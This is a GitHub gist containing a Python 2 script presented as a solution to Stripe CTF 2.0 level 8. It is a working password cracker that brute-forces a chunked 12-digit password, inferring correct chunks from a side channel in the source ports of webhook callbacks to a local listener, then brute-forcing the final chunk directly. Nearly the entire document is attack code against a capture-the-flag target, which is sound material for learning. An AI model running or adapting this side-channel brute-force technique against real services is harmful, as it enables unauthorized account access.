Created
August 29, 2012 19:50
-
-
Save vampy/3517903 to your computer and use it in GitHub Desktop.
Stripe CTF 2.0 level 8 solution
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import httplib | |
import socket | |
from json import dumps | |
from random import randint | |
from datetime import datetime | |
from sys import getsizeof | |
#Timing Start | |
startTime = datetime.now() | |
def __getCorrectChunk(chunk): | |
if chunkAt == 0: | |
return str(chunk).zfill(3) + "000000000" | |
elif chunkAt == 1: | |
return chunkArray[0] + str(chunk).zfill(3) + "000000" | |
elif chunkAt == 2: | |
return chunkArray[0] + chunkArray[1] + str(chunk).zfill(3) + "000" | |
elif chunkAt == 3: | |
return chunkArray[0] + chunkArray[1] + chunkArray[2] + str(chunk).zfill(3) | |
def get_chunks(): | |
fchunk = [] | |
chunk_nums = range(1000) | |
for chunk in chunk_nums: | |
fchunk.append(__getCorrectChunk(chunk)) | |
return fchunk | |
# listens | |
def socket_return(): | |
while True: | |
conn, addr = s.accept() | |
data = conn.recv(1000) | |
if len(data) > 100: | |
break | |
#addr[0] = host, addr[1] = port | |
return addr[1] | |
# GLOBAL VARS | |
RUNLOCAL = True | |
SERVER = "127.0.0.1:3000" | |
LISTENSERVER = "localhost" | |
PATH = "/" | |
# The diff between ports when you know you have a valid result | |
PORT_DIFF_BASELINE = 4 | |
# Port to listen on | |
PORT = randint(35000, 55000) | |
# The webhook address : port number | |
WEBHOOK = LISTENSERVER + ":" +str(PORT) | |
# Initial params definition | |
PARAMS = {"password": "", "webhooks": [WEBHOOK]} | |
# Start listening server | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.bind(("0.0.0.0", PORT)) | |
s.listen(5) | |
print "Listening started on " + WEBHOOK | |
# Initial values | |
# Request number | |
req = 0 | |
# The difference between CURRENT_PORT and LAST_PORT | |
DIFF_PORT = 0 | |
# The previous connection port | |
LAST_PORT = -1 | |
# Current connection port | |
CURRENT_PORT = -1 | |
# The min number of retry before the chunk is valid | |
VALID_LIMIT = 4 | |
# Number of VALID_TRIES tested | |
VALID_TRIES = 0 | |
message = "" | |
# 0 - first chunk, 1 - second chunk. 2 - third chunk, 3 - fourth chunk | |
chunkAt = 0 | |
# Known possible chunk values | |
chunkArray = ["XXX", "XXX", "XXX", "XXX"] | |
# All possible chunks 000, 001, ... 999 | |
chunks = get_chunks() | |
if RUNLOCAL == True: | |
h = httplib.HTTPConnection("localhost:3000") | |
PATH = "/" | |
else: | |
h = httplib.HTTPSConnection(SERVER) | |
headers = {"User-Agent": "Python/httplib"} | |
while True: | |
# make the post request | |
if req == 1000: | |
break | |
PARAMS["password"] = chunks[req] | |
h.request("POST", PATH, dumps(PARAMS), headers) | |
response = h.getresponse() | |
h.close() | |
#get address that socket listens on host:port | |
CURRENT_PORT = socket_return() | |
message = chunks[req] + ":" + str(CURRENT_PORT) + " " | |
# Check if not the first request and if not the last chunk | |
if chunkAt != 3 and LAST_PORT != -1: | |
DIFF_PORT = CURRENT_PORT - LAST_PORT | |
# check the DIFF_PORT is right | |
if DIFF_PORT >= PORT_DIFF_BASELINE + 1 + chunkAt or DIFF_PORT < 0: | |
message += "Inconsistent trying again" | |
req -= 1 | |
else: | |
if DIFF_PORT >= PORT_DIFF_BASELINE + chunkAt: | |
VALID_TRIES += 1 | |
message += "can be valid (tries " + str(VALID_TRIES) + ")" | |
if VALID_TRIES >= VALID_LIMIT: # Bingo found a valid chunk | |
print "Looks legit chunk " + str(chunkAt + 1) + " is " + str(req).zfill(3) | |
# Add to the known array | |
chunkArray[chunkAt] = str(req).zfill(3) | |
# Reset Values | |
VALID_TRIES, req, chunkAt = 0, 0, chunkAt + 1 | |
chunks = get_chunks() | |
else: | |
req -= 1 | |
else: | |
message += "Invalid" | |
VALID_TRIES = 0 | |
message += ":(" + str(DIFF_PORT) + ")" | |
else:#last chunk need only to make requests | |
if LAST_PORT != -1: | |
#make manual requests | |
chunks = get_chunks() | |
req = 0 | |
#make webhooks empty to release downtime | |
PARAMS["webhooks"] = [] | |
for chunk in chunks: | |
message = chunks[req] + ":" | |
PARAMS["password"] = chunk | |
h.request("POST", PATH, dumps(PARAMS)) | |
response = h.getresponse() | |
if "true" in response.read(): | |
chunkArray[chunkAt] = str(req).zfill(3) | |
req = 999 | |
break | |
message += "False" | |
req += 1 | |
print message | |
h.close() | |
print message | |
LAST_PORT = CURRENT_PORT | |
req += 1 | |
#print know possibles | |
print chunkArray | |
print "U finally got it: " + "".join(chunkArray) | |
#Timing end | |
print "Time took to crack password(h:m:s.ms): " + str(datetime.now()-startTime) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment